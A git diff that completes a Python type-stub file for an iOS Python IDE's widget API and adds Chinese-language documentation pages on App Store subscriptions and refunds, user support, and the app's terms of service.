_WidgetEntryProxy + + +class _WidgetActionProxy: + def set(self, key: str, value: Any) -> WidgetIntentSpec: ... + def toggle(self, key: str) -> WidgetIntentSpec: ... + def toggle_item(self, key: str, item: Any) -> WidgetIntentSpec: ... + def increment(self, key: str, by: Union[int, float] = 1) -> WidgetIntentSpec: ... + def decrement(self, key: str, by: Union[int, float] = 1) -> WidgetIntentSpec: ... + def refresh(self) -> WidgetIntentSpec: ... + def open_app(self, **kwargs: Any) -> WidgetIntentSpec: ... + def open_project(self, project_id: Optional[str] = None, **kwargs: Any) -> WidgetIntentSpec: ... + def run_last_script(self, **kwargs: Any) -> WidgetIntentSpec: ... + def new_script(self, **kwargs: Any) -> WidgetIntentSpec: ... + def custom(self, action_id: str, *, kind: Optional[str] = None, requires_app_launch: bool = True, **kwargs: Any) -> WidgetIntentSpec: ... + + +action: _WidgetActionProxy + + +class _WidgetIntentFactory(_WidgetActionProxy): + def __call__( + self, + action: Any = None, + *, + kind: Optional[str] = None, + requires_app_launch: Optional[bool] = None, + **kwargs: Any, + ) -> WidgetIntentSpec: ... + + +intent: _WidgetIntentFactory + + +class Widget: + def __init__( + self, + background: Optional[WidgetBackground] = None, + padding: Optional[Union[int, float]] = None, + *, + style: Optional[str] = None, + layout: str = "auto", + ) -> None: ... + @property + def context(self) -> _WidgetContext: ... + def background(self, value: WidgetBackground) -> "Widget": ... + def container_background( + self, + value: Optional[WidgetBackground] = None, + *, + removable: Optional[bool] = None, + ) -> "Widget": ... + def content_margins( + self, + enabled: bool = True, + padding: Optional[Union[int, float, Sequence[float], Dict[str, float]]] = None, + ) -> "Widget": ... + def transparent_background(self, enabled: bool = True) -> "Widget": ... + + # -- Semantic primitives -- + + def title(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def headline(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def subheadline(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def caption(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def body(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def label( + self, + content: Union[str, int, float], + icon: Optional[str] = None, + color: Optional[ColorLike] = None, + size: Optional[float] = None, + weight: Optional[str] = None, + spacing: Optional[float] = None, + ) -> _WidgetNodeHandle: ... + def detail(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def footnote(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def note(self, content: Union[str, int, float]) -> _WidgetNodeHandle: ... + def value( + self, + value: Union[str, int, float, _WidgetStateInt, _WidgetStateFloat, _WidgetStateString, _WidgetStateText], + unit: Optional[str] = None, + subtitle: Optional[str] = None, + format: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def number( + self, + value: Union[str, int, float], + unit: Optional[str] = None, + subtitle: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def currency( + self, + value: Union[str, int, float], + symbol: str = "¥", + unit: Optional[str] = None, + digits: int = 2, + ) -> _WidgetNodeHandle: ... + def percent( + self, + value: Union[int, float], + total: float = 1.0, + digits: int = 0, + unit: str = "%", + ) -> _WidgetNodeHandle: ... + def change( + self, + primary: Union[str, int, float], + secondary: Optional[Union[str, int, float]] = None, + direction: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def symbol( + self, + name: str, + rendering: Optional[str] = None, + palette: Optional[Sequence[ColorLike]] = None, + variant: Optional[str] = None, + scale: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def svg( + self, + name: Optional[ImageLike] = None, + width: Optional[float] = None, + height: Optional[float] = None, + color: Optional[ColorLike] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + content_mode: str = "fit", + *, + light: Optional[str] = None, + dark: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def sf_symbol(self, name: str) -> _WidgetNodeHandle: ... + def badge( + self, + text: Union[str, int, float], + icon: Optional[str] = None, + tone: str = "accent", + style: str = "plain", + ) -> _WidgetNodeHandle: ... + def status( + self, + text: Union[str, int, float], + tone: str = "neutral", + icon: Optional[str] = None, + style: str = "plain", + ) -> _WidgetNodeHandle: ... + def tag( + self, + text: Union[str, int, float], + tone: str = "neutral", + icon: Optional[str] = None, + style: str = "plain", + ) -> _WidgetNodeHandle: ... + def pill( + self, + text: Union[str, int, float], + tone: str = "accent", + icon: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def line( + self, + data: Optional[Union[List[Union[int, float]], float]] = None, + labels: Optional[List[Union[str, int, float]]] = None, + colors: Optional[List[ColorLike]] = None, + *args: float, + x1: Optional[float] = None, + y1: Optional[float] = None, + x2: Optional[float] = None, + y2: Optional[float] = None, + color: Optional[ColorLike] = None, + width: Union[float, str] = 1, + cap: Optional[str] = None, + join: Optional[str] = None, + dash: Optional[Sequence[float]] = None, + miter_limit: Optional[float] = None, + coordinate_space: str = "points", + ) -> _WidgetNodeHandle: ... + def area( + self, + data: List[Union[int, float]], + labels: Optional[List[Union[str, int, float]]] = None, + colors: Optional[List[ColorLike]] = None, + ) -> _WidgetNodeHandle: ... + def spark( + self, + data: List[Union[int, float]], + labels: Optional[List[Union[str, int, float]]] = None, + colors: Optional[List[ColorLike]] = None, + ) -> _WidgetNodeHandle: ... + def bar( + self, + data: List[Union[int, float]], + labels: Optional[List[Union[str, int, float]]] = None, + colors: Optional[List[ColorLike]] = None, + ) -> _WidgetNodeHandle: ... + def bars( + self, + data: List[Union[int, float]], + labels: Optional[List[Union[str, int, float]]] = None, + colors: Optional[List[ColorLike]] = None, + ) -> _WidgetNodeHandle: ... + def ring( + self, + value: Union[int, float], + total: float = 1.0, + label: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def donut( + self, + value: Union[int, float], + total: float = 1.0, + label: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def radial( + self, + value: Union[int, float], + total: float = 1.0, + label: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def meter( + self, + value: Union[int, float], + total: float = 1.0, + label: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def row( + self, + spacing: Optional[Union[int, float]] = None, + align: Optional[str] = None, + ) -> _ContainerContext: ... + def column( + self, + spacing: Optional[Union[int, float]] = None, + align: Optional[str] = None, + ) -> _ContainerContext: ... + def layer( + self, + align: str = "center", + padding: Optional[Union[int, float]] = None, + background: Optional[WidgetBackground] = None, + corner_radius: Optional[float] = None, + ) -> _ContainerContext: ... + def when(self, *families: str, layout: str = "layer") -> _ContainerContext: ... + def unless(self, *families: str, layout: str = "layer") -> _ContainerContext: ... + def canvas( + self, + height: Optional[float] = None, + coordinate_space: str = "relative", + align: str = "center", + background: Optional[WidgetBackground] = None, + padding: Optional[Union[int, float]] = None, + corner_radius: Optional[float] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + opacity: Optional[float] = None, + frame: Optional[Dict[str, Any]] = None, + fill: bool = False, + ) -> _CanvasContext: ... + def surface( + self, + role: str = "panel", + spacing: Optional[Union[int, float]] = None, + align: Optional[str] = None, + padding: Optional[Union[int, float]] = None, + background: Optional[WidgetBackground] = None, + corner_radius: Optional[float] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + shadow_color: Optional[ColorLike] = None, + shadow_radius: Optional[float] = None, + ) -> _ContainerContext: ... + def section( + self, + title: Optional[Union[str, int, float]] = None, + spacing: Optional[Union[int, float]] = None, + subtitle: Optional[Union[str, int, float]] = None, + style: Optional[str] = None, + ) -> _ContainerContext: ... + def list( + self, + items: List[Any], + title: Optional[Union[str, int, float]] = None, + limit: Optional[int] = None, + empty_text: Optional[Union[str, int, float]] = None, + dividers: bool = False, + ) -> _ContainerContext: ... + def countdown( + self, + title: Optional[Union[str, int, float]] = "Countdown", + target: Optional[Union[datetime, str]] = None, + subtitle: Optional[Union[str, int, float]] = None, + icon: Optional[str] = None, + tone: Optional[str] = None, + accent: Optional[ColorLike] = None, + ) -> _WidgetBlockHandle: ... + def overlay( + self, + slot: str = "center", + spacing: Optional[Union[int, float]] = None, + align: Optional[str] = None, + ) -> _ContainerContext: ... + def region( + self, + slot: str = "center", + spacing: Optional[Union[int, float]] = None, + align: Optional[str] = None, + ) -> _ContainerContext: ... + def top(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + def top_leading(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + def top_trailing(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + def leading(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + def center(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + def trailing(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + def bottom(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + def bottom_leading(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + def bottom_trailing(self, spacing: Optional[Union[int, float]] = None, align: Optional[str] = None) -> _ContainerContext: ... + + # -- Basic elements -- + + def text( + self, + content: Union[str, int, float], + size: Optional[float] = None, + weight: Optional[str] = None, + color: Optional[ColorLike] = None, + align: Optional[str] = None, + max_lines: Optional[int] = None, + design: Optional[str] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + minimum_scale_factor: Optional[float] = None, + font_width: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + + def rich_text( + self, + parts: List[RichTextPart], + size: Optional[float] = None, + weight: Optional[str] = None, + color: Optional[ColorLike] = None, + align: Optional[str] = None, + max_lines: Optional[int] = None, + design: Optional[str] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + minimum_scale_factor: Optional[float] = None, + font_width: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + + def icon( + self, + name: str, + size: Optional[float] = None, + color: Optional[ColorLike] = None, + weight: Optional[str] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + rendering: Optional[str] = None, + palette: Optional[Sequence[ColorLike]] = None, + variant: Optional[str] = None, + symbol_scale: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + + def spacer(self, length: Optional[Union[int, float]] = None) -> _WidgetNodeHandle: ... + + def divider( + self, + color: Optional[ColorLike] = None, + opacity: Optional[float] = None, + ) -> _WidgetNodeHandle: ... + + def shape( + self, + kind: str = "rectangle", + color: Optional[ColorLike] = None, + width: Optional[float] = None, + height: Optional[float] = None, + size: Optional[float] = None, + corner_radius: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + shadow_color: Optional[ColorLike] = None, + shadow_radius: Optional[float] = None, + shadow_x: float = 0, + shadow_y: float = 2, + stroke_color: Optional[ColorLike] = None, + stroke_width: Optional[Union[float, str]] = None, + dash: Optional[Sequence[float]] = None, + line_cap: Optional[str] = None, + line_join: Optional[str] = None, + miter_limit: Optional[float] = None, + top_leading_radius: Optional[float] = None, + top_trailing_radius: Optional[float] = None, + bottom_leading_radius: Optional[float] = None, + bottom_trailing_radius: Optional[float] = None, + ) -> _WidgetNodeHandle: ... + def path( + self, + points: List[PathPoint], + stroke: Optional[ColorLike] = None, + fill: Optional[ColorLike] = None, + line_width: Optional[Union[float, str]] = None, + closed: bool = False, + height: Optional[float] = None, + coordinate_space: str = "relative", + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + line_cap: Optional[str] = None, + line_join: Optional[str] = None, + dash: Optional[Sequence[float]] = None, + miter_limit: Optional[float] = None, + ) -> _WidgetNodeHandle: ... + + def rectangle( + self, + color: Optional[ColorLike] = None, + width: Optional[float] = None, + height: Optional[float] = None, + corner_radius: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + ) -> _WidgetNodeHandle: ... + def rect( + self, + color: Optional[ColorLike] = None, + width: Optional[float] = None, + height: Optional[float] = None, + corner_radius: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + ) -> _WidgetNodeHandle: ... + + def circle( + self, + color: Optional[ColorLike] = None, + size: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + ) -> _WidgetNodeHandle: ... + + def capsule( + self, + color: Optional[ColorLike] = None, + width: Optional[float] = None, + height: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + ) -> _WidgetNodeHandle: ... + + def emoji( + self, + content: Union[str, int], + size: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + ) -> _WidgetNodeHandle: ... + + def progress( + self, + value: Union[int, float], + total: float = 1.0, + color: Optional[ColorLike] = None, + height: Optional[float] = None, + track_color: Optional[ColorLike] = None, + *, + title: Optional[str] = None, + subtitle: Optional[str] = None, + unit: Optional[str] = None, + icon: Optional[str] = None, + tone: Optional[str] = None, + accent: Optional[str] = None, + style: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + + def sparkline( + self, + values: List[Union[int, float]], + color: Optional[ColorLike] = None, + height: Optional[float] = None, + min_value: Optional[float] = None, + max_value: Optional[float] = None, + fill: bool = True, + show_points: bool = False, + line_width: Optional[float] = None, + track_color: Optional[ColorLike] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + segment_colors: Optional[List[ColorLike]] = None, + baseline: Optional[float] = None, + threshold: Optional[float] = None, + labels: Optional[Union[List[Any], Dict[str, Any]]] = None, + label_color: Optional[ColorLike] = None, + ) -> _WidgetNodeHandle: ... + + def line_chart( + self, + values: List[Union[int, float]], + color: Optional[ColorLike] = None, + height: Optional[float] = None, + min_value: Optional[float] = None, + max_value: Optional[float] = None, + fill: bool = True, + show_points: bool = True, + line_width: Optional[float] = None, + track_color: Optional[ColorLike] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + segment_colors: Optional[List[ColorLike]] = None, + baseline: Optional[float] = None, + threshold: Optional[float] = None, + labels: Optional[Union[List[Any], Dict[str, Any]]] = None, + label_color: Optional[ColorLike] = None, + ) -> _WidgetNodeHandle: ... + + def bar_chart( + self, + values: List[Union[int, float]], + color: Optional[ColorLike] = None, + height: Optional[float] = None, + min_value: Optional[float] = None, + max_value: Optional[float] = None, + spacing: Optional[float] = None, + corner_radius: Optional[float] = None, + track_color: Optional[ColorLike] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + segment_colors: Optional[List[ColorLike]] = None, + baseline: Optional[float] = None, + threshold: Optional[float] = None, + labels: Optional[Union[List[Any], Dict[str, Any]]] = None, + label_color: Optional[ColorLike] = None, + ) -> _WidgetNodeHandle: ... + + def ring_chart( + self, + value: Union[int, float], + total: float = 1.0, + label: Optional[str] = None, + color: Optional[ColorLike] = None, + track_color: Optional[ColorLike] = None, + size: Optional[float] = None, + line_width: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + ) -> _WidgetNodeHandle: ... + + def gauge( + self, + value: Union[int, float], + total: float = 1.0, + label: Optional[str] = None, + size: Optional[float] = None, + color: Optional[ColorLike] = None, + track_color: Optional[ColorLike] = None, + line_width: Optional[Union[float, str]] = None, + style: Optional[str] = None, + current_value_label: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + + def timer( + self, + target: Optional[Union[datetime, str]] = None, + style: str = "timer", + size: Optional[float] = None, + weight: Optional[str] = None, + color: Optional[ColorLike] = None, + design: Optional[str] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + font_width: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def date(self, target: Optional[Union[datetime, str]] = None, style: str = "date") -> _WidgetNodeHandle: ... + def dynamic_date(self, target: Optional[Union[datetime, str]] = None, style: str = "date") -> _WidgetNodeHandle: ... + def time(self, target: Optional[Union[datetime, str]] = None) -> _WidgetNodeHandle: ... + def relative_time(self, target: Optional[Union[datetime, str]] = None) -> _WidgetNodeHandle: ... + def timer_text(self, target: Optional[Union[datetime, str]] = None) -> _WidgetNodeHandle: ... + def background_image( + self, + asset: Optional[ImageLike] = None, + content_mode: str = "fill", + dim: Optional[Union[bool, float]] = None, + scrim: Optional[Union[bool, str]] = None, + scrim_opacity: Optional[float] = None, + focal: str = "center", + overlay_color: ColorLike = "#000000", + *, + light: Optional[str] = None, + dark: Optional[str] = None, + ) -> "Widget": ... + def background(self, value: WidgetBackground) -> "Widget": ... + + def image( + self, + name: Optional[ImageLike] = None, + width: Optional[float] = None, + height: Optional[float] = None, + corner_radius: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + content_mode: Optional[str] = None, + *, + light: Optional[str] = None, + dark: Optional[str] = None, + rendering_mode: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def photo( + self, + name: str, + width: Optional[float] = None, + height: Optional[float] = None, + corner_radius: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + content_mode: Optional[str] = None, + ) -> _WidgetNodeHandle: ... + def avatar( + self, + name: str, + size: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + ) -> _WidgetNodeHandle: ... + def thumbnail( + self, + name: str, + width: Optional[float] = None, + height: Optional[float] = None, + corner_radius: Optional[float] = None, + opacity: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + ) -> _WidgetNodeHandle: ... + + def flip( + self, + value: Any, + previous: Optional[Any] = None, + *, + direction: str = "up", + width: Optional[float] = None, + height: Optional[float] = None, + size: Optional[float] = None, + weight: str = "bold", + color: Optional[ColorLike] = None, + background: Optional[WidgetBackground] = None, + corner_radius: Optional[float] = None, + duration: float = 0.55, + delta: Optional[float] = None, + perspective: float = 0.62, + shadow_opacity: float = 0.18, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + design: Optional[str] = "monospaced", + ) -> _WidgetNodeHandle: ... + + def button( + self, + title: Optional[str] = None, + action: Optional[Union[str, WidgetIntentSpec]] = None, + url: Optional[str] = None, + color: Optional[ColorLike] = None, + background: Optional[WidgetBackground] = None, + size: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + *, + style: Optional[str] = None, + layout: Optional[str] = None, + press: Optional[Dict[str, Any]] = None, + normal: Optional[Dict[str, Any]] = None, + ) -> _WidgetNodeHandle: ... + + def link( + self, + title: str, + url: str, + icon: Optional[str] = None, + color: Optional[ColorLike] = None, + ) -> Union[_WidgetNodeHandle, _ContainerContext]: ... + + def toggle( + self, + title: Optional[str] = None, + is_on: Union[bool, str] = False, + action: Optional[Union[str, WidgetIntentSpec]] = None, + url: Optional[str] = None, + color: Optional[ColorLike] = None, + background: Optional[WidgetBackground] = None, + size: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + *, + value: Optional[Union[bool, str]] = None, + state: Optional[_WidgetStateBool] = None, + style: Optional[str] = None, + layout: Optional[str] = None, + press: Optional[Dict[str, Any]] = None, + normal: Optional[Dict[str, Any]] = None, + ) -> _WidgetNodeHandle: ... + + # -- Containers (context managers) -- + + def table( + self, + rows: int, + columns: int, + *, + line_color: Optional[ColorLike] = None, + line_width: Union[float, str] = "hairline", + line_cap: str = "butt", + line_join: str = "miter", + dash: Optional[Sequence[float]] = None, + miter_limit: Optional[float] = None, + padding: Optional[Union[int, float]] = None, + frame: Optional[Dict[str, Any]] = None, + width: Optional[float] = None, + height: Optional[float] = None, + background: Optional[WidgetBackground] = None, + opacity: Optional[float] = None, + corner_radius: Optional[float] = None, + border: bool = True, + fill: bool = True, + align: str = "center", + ) -> _TableContext: ... + + def grid( + self, + columns: int = 2, + spacing: Optional[Union[int, float]] = None, + row_spacing: Optional[Union[int, float]] = None, + column_spacing: Optional[Union[int, float]] = None, + align: Optional[str] = None, + padding: Optional[Union[int, float]] = None, + background: Optional[WidgetBackground] = None, + opacity: Optional[float] = None, + corner_radius: Optional[float] = None, + border_color: Optional[ColorLike] = None, + border_width: Optional[float] = None, + url: Optional[str] = None, + shadow_color: Optional[ColorLike] = None, + shadow_radius: Optional[float] = None, + shadow_x: float = 0, + shadow_y: float = 2, + rows: Optional[int] = None, + equal: bool = False, + fill: bool = False, + ) -> _ContainerContext: ... + + # -- Output -- + + def validate(self, family: Optional[str] = None) -> Dict[str, Any]: ... + + def timeline( + self, + entries: Optional[List[Dict[str, Any]]] = None, + *, + update: str = "after", + after: Any = None, + interval: Optional[float] = None, + ) -> "Widget": ... + + def render(self, url: Optional[str] = None) -> None: ... + + +__all__ = [ + "SMALL", "MEDIUM", "LARGE", "CIRCULAR", "RECTANGULAR", "INLINE", + "Widget", "save_image", + "preview", "family_value", "context", + "entry", "history", "cache_json", "state", "action", "intent", + "schema", "agent_schema", "validate_layout", + "reload_user_widgets", "reload_test_widgets", + "family", "param", "storage", +] diff --git a/docs/subscription/index.html b/docs/subscription/index.html new file mode 100644 index 0000000..f1111e6 --- /dev/null +++ b/docs/subscription/index.html @@ -0,0 +1,21 @@ + + + + + + 订阅、取消与退款说明 — PythonIDE +
+ +

Pro 与计费

知道什么会续订,始终保留控制。

购买由 Apple 处理。本页说明 App 内 PythonIDE 方案,以及恢复、取消或申请退款的正确入口。

最近更新:2026 年 7 月 16 日

+
+

App 内提供的方案

Pro 月度自动续订订阅,按确认购买时 App Store 显示的价格计费。
Pro 年度自动续订年度订阅,按 App Store 显示的价格计费。
Pro 终身非消耗型购买,用于一次性解锁受支持的 PythonIDE Pro 权益,不会周期续订。

可用方案、本地价格、税费、试用或优惠资格及具体功能展示可能因商店地区、App 版本与账户而异。付款前以 App Store 购买确认界面为准。

+

自动续订如何工作

月度与年度方案属于自动续订订阅。Apple 会向购买界面显示的 Apple 账户收费并管理续订。除非你在下一计费日前依据 Apple 规则取消,否则订阅会按相同周期和 Apple 显示或另行通知的价格续订。

取消会停止后续续订,通常不会立即移除已经付费的访问权;一般可使用到 Apple 显示的当前订阅周期结束。

邀请奖励也可能出现 Apple 订阅确认

若 Pro 月卡邀请奖励通过 App Store 优惠或兑换码领取,请仔细阅读 Apple 确认界面。如 Apple 将其标识为自动续订,请在不希望奖励期结束后续订时通过 Apple 账户取消。

+

恢复购买

1
使用原购买 Apple 账户确认 App Store 已登录购买时使用的 Apple 账户。
2
打开 Pro 购买页面在 PythonIDE 中打开 Pro 或会员页面,点击“恢复购买”。
3
允许 StoreKit 同步PythonIDE 会向 Apple 查询当前权益,验证签名交易数据,并与权益服务同步结果。

如仍无法恢复,请重启 App,确认网络与 Apple 账户后联系支持,并提供商品类型、大致购买日期及隐藏无关个人信息后的 Apple 收据截图。切勿发送密码或完整银行卡号。

+

取消自动续订

PythonIDE 无法代你取消订阅,因为计费由 Apple 控制。在 iPhone 或 iPad 上打开“设置”,点击你的姓名,进入“订阅”,选择 PythonIDE,再点击“取消订阅”。若没有取消按钮或 Apple 已显示到期信息,说明订阅已经取消。

+

申请退款

App Store 购买的退款资格由 Apple 根据商店地区、购买项目、原因与适用法律判断。PythonIDE 无法直接批准或发放 App Store 退款。

1
打开“报告问题”使用购买时的 Apple 账户登录 reportaproblem.apple.com。
2
选择“请求退款”选择原因与 PythonIDE 购买项目,然后向 Apple 提交请求。
3
通过 Apple 查询结果Apple 说明申请更新可能需要 24–48 小时;批准后,款项到账时间还会因支付方式而异。
+

删除 PythonIDE 账户不会取消计费

删除 PythonIDE 账户会移除或去标识化由 PythonIDE 处理的账户与社区数据,但无法取消 Apple 订阅。如不希望继续收费,请先通过 Apple 取消;之后可以立即删除 PythonIDE 账户。计费完整性、退款、反欺诈或法律所需的订阅记录可能按需保留。

查看账户删除说明

+

计费支持

商品加载、权益恢复或 PythonIDE 访问问题请联系 PythonIDE 支持;扣款、支付方式、取消、退款决定或 Apple 账户问题请联系 Apple 支持。

+
+
+ +
diff --git a/docs/support/index.html b/docs/support/index.html new file mode 100644 index 0000000..a47a850 --- /dev/null +++ b/docs/support/index.html @@ -0,0 +1,29 @@ + + + + + 帮助与支持中心 — PythonIDE +
+ +
+

帮助与支持

从正确的答案开始。

先从下面的主题入口快速解决;如果问题仍在,请通过邮件提供足以复现的信息。

+
+

把复现问题需要的信息,一次说明清楚。

使用环境设备型号、iOS/iPadOS/macOS 版本、PythonIDE 版本,以及问题是否稳定复现。
完整步骤问题前打开、点击、输入或运行了什么,以及预期结果与实际结果。
有效材料根据问题提供简短录屏、截图、错误文字、控制台片段、投稿 ID、申请编号或交易类型。
移除秘密信息切勿发送密码、验证码、API 密钥、访问令牌、无法披露的私有源码或完整付款资料。
+
+

联系之前,先做这些快速检查。

+
为什么 PythonIDE 会请求系统权限?
当你或你选择运行的脚本调用照片、麦克风、定位、通讯录、健康数据、NFC、本地网络等受保护原生能力时,系统才会请求权限。请检查代码,不希望授予的访问可以拒绝。
+
为什么某个包不可用或不兼容?
部分 Python 包依赖桌面系统能力、原生扩展、编译工具链或 Apple 移动平台不具备的服务。请查看包文档与 PythonIDE 文档中的替代方案。
+
为什么“恢复购买”后权益没有变化?
确认 App Store 使用原购买 Apple 账户、网络可用且交易仍具备权益。重启后再次恢复。如仍未解决,请提供商品类型与大致购买日期,切勿发送密码或完整付款资料。
+
支持能找回删除的本地文件或对话吗?
通常不能。本地文件与 AI 对话历史主要保存在设备或你选择的文件提供商中。请检查“最近删除”、iCloud 或文件提供商历史及自己的备份,并为重要项目保留备份。
+
+

还没解决?把发生的事情告诉我们。

官方邮件支持

+
+ +
diff --git a/docs/terms/index.html b/docs/terms/index.html new file mode 100644 index 0000000..0db6eac --- /dev/null +++ b/docs/terms/index.html @@ -0,0 +1,33 @@ + + + + + + + + + 用户协议与服务条款 — PythonIDE + +
+ +
+

条款

自由创造,也负责任地使用。

本协议说明使用 PythonIDE、账户、社区、AI 功能与付费服务时需要共同遵守的实际规则。

生效及最近更新:2026 年 7 月 16 日

+
+ +
+

1. 接受本协议

本《用户协议与服务条款》是你与 PythonIDE 开发者张文禄之间的协议,适用于你下载、访问或使用 PythonIDE App、pythonide.xin、账户、社区、邀请活动、AI 代理及相关官方服务(合称“本服务”)。

使用本服务即表示你确认有能力依法订立本协议。若你在所在地属于未成年人,请在监护人允许下使用账户、社区、购买与在线 AI 功能。如不同意本协议,请勿使用受影响的功能。

关联政策

《隐私政策》《社区规范与违规申诉》《订阅、取消与退款说明》《AI 服务与数据使用说明》及具体活动规则在相关范围内构成本协议的一部分。

+

2. PythonIDE 提供什么

PythonIDE 是面向 Apple 平台的编程与创作环境。根据设备、系统版本、地区、账户状态与方案,功能可能包括 Python 运行、编辑器与文件、包工具、AppUI 与原生能力、AI 辅助、小组件与集成、社区发布、邀请奖励、云端验证与支持。

文档、示例、生成结果、预览与 AI 回复用于帮助你创作,但不保证每个脚本、包、模型、系统能力或第三方服务都能在所有环境中运行。

+

3. 账户与安全

  • 请提供准确资料,妥善保护登录访问,不得以制造风险或规避限制的方式共享或转让账户。
  • 除非由 PythonIDE 合理控制范围内的故障造成,你应对通过账户实施的操作负责;如怀疑未经授权访问,请及时联系支持。
  • 通过 Apple 登录及其他平台服务同时受相关提供方条款约束。
  • 你可以在 App 内永久删除账户。删除账户不会取消 App Store 订阅,也不必然删除为安全、争议、反欺诈或法律义务必须保留的记录。

账户删除说明

+

4. 合理使用规则

你可以将 PythonIDE 用于合法的学习、开发、自动化、研究与创作,但不得利用本服务:

  • 违法、侵犯知识产权或隐私、冒充他人,或传播无权使用的内容。
  • 制作、上传、请求或传播恶意软件、凭证窃取、破坏性载荷、未经授权的监控、面向真实目标的漏洞利用代码,或主要用于造成伤害的指令。
  • 骚扰、威胁、剥削、性侵害、歧视或危害任何人,包括未成年人。
  • 发送垃圾信息、抓取或压垮服务、探测系统、在禁止时逆向、绕过安全、制造滥用流量、操纵邀请或数据、自邀、创建重复身份,或规避审核与方案限制。
  • 在缺少适当检查、同意与保障时运行或分享不受信任的代码,尤其是可能访问网络、个人数据、传感器、文件或其他设备的代码。

对于有合理理由认为违反规则或危害本服务、他人的活动,我们可以限流、拒绝、移除、限制、暂停或调查。

+

5. 你的代码与社区内容

在你与 PythonIDE 之间,你保留对自己创作的代码、文件与原创内容的所有权。你应确保对所提交内容拥有必要的权利与授权,包括依赖、媒体、名称与个人信息。

当你向社区提交内容时,你授予 PythonIDE 一项非独占、全球范围、免许可费的许可,以便托管、保存、复制、格式化、审核、管理、展示、分发、缓存,以及为运行和推广社区作必要技术修改。该许可在内容发布期间有效,并在此后合理的备份、审计、安全与争议处理期限内继续有效,但不转移你的所有权。

社区投稿可能在发布前接受审核,并可能附理由被拒绝或下架。严重或重复违规可能影响内容或账户。你可以通过公布的申诉渠道申请复核。

查看社区规范与违规申诉

+

6. AI 功能

AI 输出可能不完整、不正确、不安全、过时或不适用。依赖或运行前,你应检查代码、命令、许可证、事实陈述与实际影响。请勿把 AI 输出当作专业法律、医疗、金融、安全或人身安全建议。

